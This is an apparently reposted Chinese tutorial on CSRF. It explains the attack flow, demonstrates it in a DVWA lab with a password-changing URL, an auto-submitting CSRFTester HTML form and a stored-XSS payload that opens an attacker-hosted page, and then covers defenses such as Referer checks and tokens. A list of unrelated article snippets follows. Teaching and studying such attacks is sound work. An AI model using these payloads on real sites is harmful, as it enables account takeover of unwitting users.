CSRF漏洞的概念、利用方式、防御方案

news2025/6/12 19:03:22

CSRF漏洞

  • 1.CSRF的概念
    • 1.1 什么是CSRF?
    • 1.2 基本攻击流程
  • 2.CSRF攻击实现
    • 2.1 靶场练习
    • 2.2 CSRF+XSS组合拳
        • 2.2.1 攻击页面部署
        • 2.2.2 构造恶意xss语句,实现重复生效的CSRF
  • 3. CSRF攻击的防御
    • **3.1 只使用JSON API**
    • **3.2 验证HTTP Referer字段**
    • **3.3 在请求地址中添加token验证**

本文从CSRF的定义,攻击流程、利用方案、修复方案等几个流程为大家讲解究竟什么是CSRF。

1.CSRF的概念

1.1 什么是CSRF?

CSRF全称为跨站请求伪造(Cross-site request forgery),是一种网络攻击方式,也被称为 one-click attack 或者 session riding。

1.2 基本攻击流程

下面我们举一个例子,为大家大概介绍一下这种攻击的攻击手段:

角色:

正常浏览网页的用户:User
正规的但是具有漏洞的网站:WebA
利用CSRF进行攻击的网站:WebB

1.用户登录、浏览并信任正规网站WebA,同时,WebA通过用户的验证并在用户的浏览器中产生Cookie。

2.攻击者WebB通过在WebA中添加图片链接等方式诱导用户User访问网站WebB。(比如说这里有劲爆的表演请点击~)

3.在用户User被诱导访问WebB后,WebB会利用用户User的浏览器访问第三方网站WebA,并发出操作请求。

4.用户User的浏览器根据WebB的要求,带着步骤一中产生的Cookie访问WebA。

5.网站WebA接收到用户浏览器的请求,WebA无法分辨请求由何处发出,由于浏览器访问时带上用户的Cookie,因此WebA会响应浏览器的请求,如此一来,攻击网站WebB就达到了模拟用户操作的目的。

在这里插入图片描述

来来来,跟我一起想这个问题,用户和合法网站之间,三次握手建立了稳定连接后,又用https建立了加密通信的通道。到这里,服务器就认为从这个通道过来的都是良民,都是正确的用户请求,直接予以处理。

那么此时,有个hacker使用自己的服务器也好,使用恶意连接也好,诱骗用户在不知情的情况下向服务器发送了带有cookie的请求。那么由于服务器默认处理这些请求,于是,引发用户触发非个人意愿的操作,造成损失。

也就是说,这一切的根源其实就是服务器没有对用户的请求做持续的认证,误以为建立了https就万事大吉了。殊不知,用户的请求也会被在不知情的情况下进行发送。

好,到这里你已经完全掌握了CSRF的攻击核心,如何让用户在不知情的情况下,向服务器发送你构造好的数据?

并且,你也掌握了彻底防御CSRF的核心,那就是添加持续的客户请求合法性验证,彻底消灭CSRF这种无聊的攻击手段。

下面我就从实现攻击和防御两个方向为大家讲解CSRF攻击。

2.CSRF攻击实现

这里就以DVWA靶场进行演示。

2.1 靶场练习

这里可以在security选项卡中选择难度。

在这里插入图片描述
注意DVWA得处于用户登陆状态:
在这里插入图片描述

没有的话访问longin.php进行登陆即可。出于演示的目的我们就将其难度选择为low进行演示。

我们尝试进行修改密码,发现修改的这个信息直接出现在了URL地址栏上边。
在这里插入图片描述

http://192.168.2.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

我们查看页面源码:

在这里插入图片描述

没有进行token过滤,我们可以使用此链接直接生成短链接发送给用户使其点击,即可修改该密码:

http://192.168.2.1/dvwa/vulnerabilities/csrf/?password_new=666666&password_conf=666666&Change=Change#

在这里插入图片描述

成功修改密码

在这里插入图片描述

2.2 CSRF+XSS组合拳

存储型XSS结合CSRF是本人觉得还有些作用的结合方案,至于看到的反射型XSS结合CSRF的案例,还有待商榷。做进一步的探索。

2.2.1 攻击页面部署

这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。我们当然要提供一条龙全站式的服务啦。

这个东西的用法,和burp有些相似,代理挂到8008端口上,在csrf疑似页面进行修改对应的抓包信息即可。注意要点击右上角的start recprding。多访问几次即可,然后点击右下角按钮,将对应的html文件生成到桌面上,就可以生成我们的恶意页面。

在这里插入图片描述
生成的html文件还是不能使用我们需要在其倒数第四行添加一行代码:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "31" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://192.168.2.1:80/dvwa/vulnerabilities/csrf/?password_new=111111&password_conf=123456&Change=Change">
<input type="hidden" name="password_new" value="456789"/>
<input type="hidden" name="password_conf" value="456789"/>
<input type="hidden" name="Change" value="Change" />
</form>

</body>
</html>

将其部署到我们的恶意攻击服务器上去进行测试:

在这里插入图片描述

我们可以看到访问后直接进行立刻的跳转,我们看一看密码是否成功修改:

在这里插入图片描述
密码修改成功。

2.2.2 构造恶意xss语句,实现重复生效的CSRF

#这里我的页面是写在html里面的,大家可以写上自己的全路径
<script src="x" onerror=javascript:window.open("http://192.168.2.169")></script>

尝试在存储型XSS页面插入我们的恶意语句:

在这里插入图片描述

长度限制???抱歉,我是一个骇客,哈哈哈

在这里插入图片描述

解除限强行插入…

在这里插入图片描述

插入成功,我们进行下一步的测试(记得修改攻击服务器上的对应密码):
在这里插入图片描述

进行测试:

在这里插入图片描述

当然,这样的复合攻击可以让CSRF的利用次数无限延长,确实大大加强了CSRF的攻击性。

3. CSRF攻击的防御

3.1 只使用JSON API

使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF攻击。

3.2 验证HTTP Referer字段

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如上文中用户User想要在网站WebA中进行转账操作,那么用户User必须先登录WabA然后再通过点击页面上的按钮出发转账事件。

这时该转帐请求的Referer值就会是转账按钮所在的页面的URL,而如果黑客要对银行网站实施 CSRF攻击,他只能在他自己的网站构造请求,当用户User通过黑客的网站发送请求到WebA时,该请求的 Referer 是指向黑客自己的网站。
因此,要防御CSRF攻击,网站WebA只需要对于每一个转账请求验证其Referer值,如果是以网站WebA的网址开头的域名,则说明该请求是来自WebA自己的请求,是合法的。如果Referer是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

3.3 在请求地址中添加token验证

服务端生成了一个token dsadadarqewajafjoenfeanf

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/427381.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Spring源码】Spring事务原理

目录 1、什么是事务 2、Spring事务基本概念 2.1、基础配置 2.1.1、Spring事务的基础配置 2.1.2、Spring事务的传播特性 2.1.3、Spring事务的隔离级别 2.2、基本原理 3、事务嵌套 3.1、PROPAGATION_REQUIRED 3.2、PROPAGATION_REQUIRES_NEW 3.3、PROPAGATION_SUPPORTS…

【时序论文小集】

目录【2021 NeurIPS】Autoformer: Decomposition Transformers with Auto-Correlation for Long-Term Series Forecasting【2022 ICML】FEDformer: Frequency Enhanced Decomposed Transformer for Long-term Series Forecasting【2023 ICLR】TIMESNET: TEMPORAL 2D-VARIATION …

【云原生】k8s NetworkPolicy 网络策略是怎么样的

前言 随着微服务的流行&#xff0c;越来越多的云服务平台需要大量模块之间的网络调用。 在 Kubernetes 中&#xff0c;网络策略(NetworkPolicy)是一种强大的机制&#xff0c;可以控制 Pod 之间和 Pod 与外部网络之间的流量。 Kubernetes 中的 NetworkPolicy 定义了一组规则&…

FastAPI: 极速开发Python Web应用的未来之星

我在工作中经常使用Flask来开发Web应用。但是随着项目规模的增长&#xff0c;我发现自己需要写越来越多的重复代码&#xff0c;同时Flask并没有提供一个良好的数据验证和文档生成工具。 有一天&#xff0c;我听说了一个名为FastAPI的框架&#xff0c;它被誉为是Python Web框架…

S型加减速速度给定功能块(SCL+ST+梯形图)

S型加减速详细算法公式请参看下面博客文章,这里不再赘述: 博途PLC1200/1500PLC S型速度曲线变频器控制应用(SCL完整源代码)_RXXW_Dor的博客-CSDN博客PLC运动控制基础系列之梯形速度曲线,可以参看下面这篇博客:PLC运动控制基础系列之梯形速度曲线_RXXW_Dor的博客-CSDN博客运…

SQLServer 的事件通知

事件通知一、背景知识1.1、事件通知的好处1.2、事件通知概念1.3、事件通知与触发器二、实现事件通知2.1、创建目标服务2.2、创建事件通知三、为事件通知配置对话安全性总结一、背景知识 事件通知将有关事件的信息发送到服务代理服务。通过将有关这些事件的信息发送到服务代理服…

新买的电脑,设置电脑

设置电脑自动清理垃圾 开机后&#xff0c;需要首先设置好让电脑自动定期为你清理垃圾。具体的方法也很简单&#xff0c;右击桌面&#xff0c;找到显示设置。 图片进入后依次点开“储存”-“储存感知”-“配置储存感知立即运行”&#xff0c;设置为“每天”&#xff0c;然后下方…

《花雕学AI》01:尝试使用新必应制作《雕爷学编程》的栏目介绍

跨年头尾三个月&#xff0c;花雕走完塔克拉玛干沙漠回来后&#xff0c;突然发现世界变了&#xff0c;微软投资的ChatGPT火起来了&#xff0c;特别是升级的ChatGPT4.0&#xff0c;更是异常火热&#xff01;这一个多月来&#xff0c;人工智能AI突然爆发&#xff0c;能做的事情太多…

深度学习中的目标识别

博主简介 博主是一名大二学生&#xff0c;主攻人工智能研究。感谢让我们在CSDN相遇&#xff0c;博主致力于在这里分享关于人工智能&#xff0c;c&#xff0c;Python&#xff0c;爬虫等方面知识的分享。 如果有需要的小伙伴可以关注博主&#xff0c;博主会继续更新的&#xff0c…

干翻Hadoop系列文章【03】:MapReduce概念详解

引言 数据存储在分布式文件系统中HDFS里边&#xff0c;通过使用Hadoop资源管理系统YARN&#xff0c;Hadoop可以将MapReduce计算&#xff0c;转移到有存储部分的数据的各台机器上。 一&#xff1a;概念和原理 1&#xff1a;MapReduce作业 MapReduce作业被称为一个工作单元。…

基于SpringBoot+微信小程序的壁纸小程序

基于SpringBoot微信小程序的壁纸小程序 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取项目下载方式&#x1f345; 一、项目背景…

Springboot高级(一)缓存

一、缓存结构 二、注解 三、体验缓存 1、开启缓存 EnableCaching SpringBootApplication EnableCaching public class SpringbootCacheApplication {2、标志注解 &#xff08;1&#xff09;Cacheable Cacheable(value "emp", condition "#id2", unless…

【李老师云计算】实验一:Hadoop伪分布式集群部署与Eclipse访问Hadoop进行单词计数统计

索引前言实验内容1. 安装虚拟机1.1 安装与激活1.2 ★解决使用虚拟机蓝屏(绿屏)2. 安装CentOS2.1 下载CentOS2.2 VMware新建虚拟机2.3 安装CentOS(包括GUI、主机名)2.4 ★解决已经创建虚拟机改主机名3. VMWare 网络配置3.0 使用VI编辑器和VMware3.0.1 使用VI编辑器3.0.2 使用VMw…

SQL Server 数据操控,视图和索引

文章目录前言1.在student表中插入一行新记录&#xff0c;学号为&#xff0c;姓名为胡明月&#xff0c;性别为男&#xff0c;年龄为&#xff0c;系部为CS2.在student表中插入一条新记录&#xff0c;学号为&#xff0c;姓名为李红&#xff0c;性别为女3.将胡明月的年龄修改为194.…

R语言实践——ggplot2+ggrepel绘制散点+优化注释文本位置

简介 书接adjustText实践——调整matplotlib散点图标签&#xff0c;避免重复 上文中&#xff0c;matplotlibadjustText对于我的实例来说并没有起到很好的效果。所以&#xff0c;博主决定在R中利用gglot2ggrepel绘制&#xff0c;期待效果。 操作过程 博主不常使用R&#xff…

尚融宝14-集成redis缓存

目录 一、简介 1、场景 2、RedisTemplate 二、引入Redis 1、项目中集成Redis 2、添加Redis连接配置 3、启动Redis服务 三、测试RedisTemplate 1、存值测试 2、Redis配置文件 3、取值测试 四、将数据字典存入redis 一、简介 1、场景 由于数据字典的变化不是很频繁&#xff0c;而…

Unity 热更新技术 | (四) Lua语言基本语法及关键知识介绍

🎬 博客主页:https://xiaoy.blog.csdn.net 🎥 本文由 呆呆敲代码的小Y 原创,首发于 CSDN🙉 🎄 学习专栏推荐:Unity系统学习专栏 🌲 游戏制作专栏推荐:游戏制作 🌲Unity实战100例专栏推荐:Unity 实战100例 教程 🏅 欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬…

python ——批量读取相同格式文件(多个文件夹/单个文件夹)---nc文件为例

在处理多个相同格式的文件时&#xff0c;python中的许多模块可以为我们提供很多遍历。 比如&#xff0c;我们想读取一个文件夹下多个相同格式的文件时 可以使用os模块&#xff0c; import os以下有几个常见用法&#xff1a; 1、os.path.abspath(path) #返回绝对路径 2、os.pat…

【周末闲谈】畅想AR,AR领域迎来新风口

个人主页&#xff1a;【&#x1f60a;个人主页】 系列专栏&#xff1a;【❤️周末闲谈】 周末闲谈 ✨第一周 二进制VS三进制 ✨第二周 文心一言&#xff0c;模仿还是超越&#xff1f; 文章目录周末闲谈前言AR?&#x1f914;&#x1f914;&#x1f914;AR的发展&#x1f463;&…

Matplotlib数据可视化

Matplotlib是⼀个Python 2D&#xff0c;3D绘图库&#xff0c;它以多种硬拷⻉格式和跨平台的交互式环境⽣成出版物质量的图形。 MatplotlibMatplotlib中文网、Matplotlib官方中文文档。https://www.matplotlib.org.cn/ 1.模块导⼊ import matplotlib.pyplot as plt #使⽤py…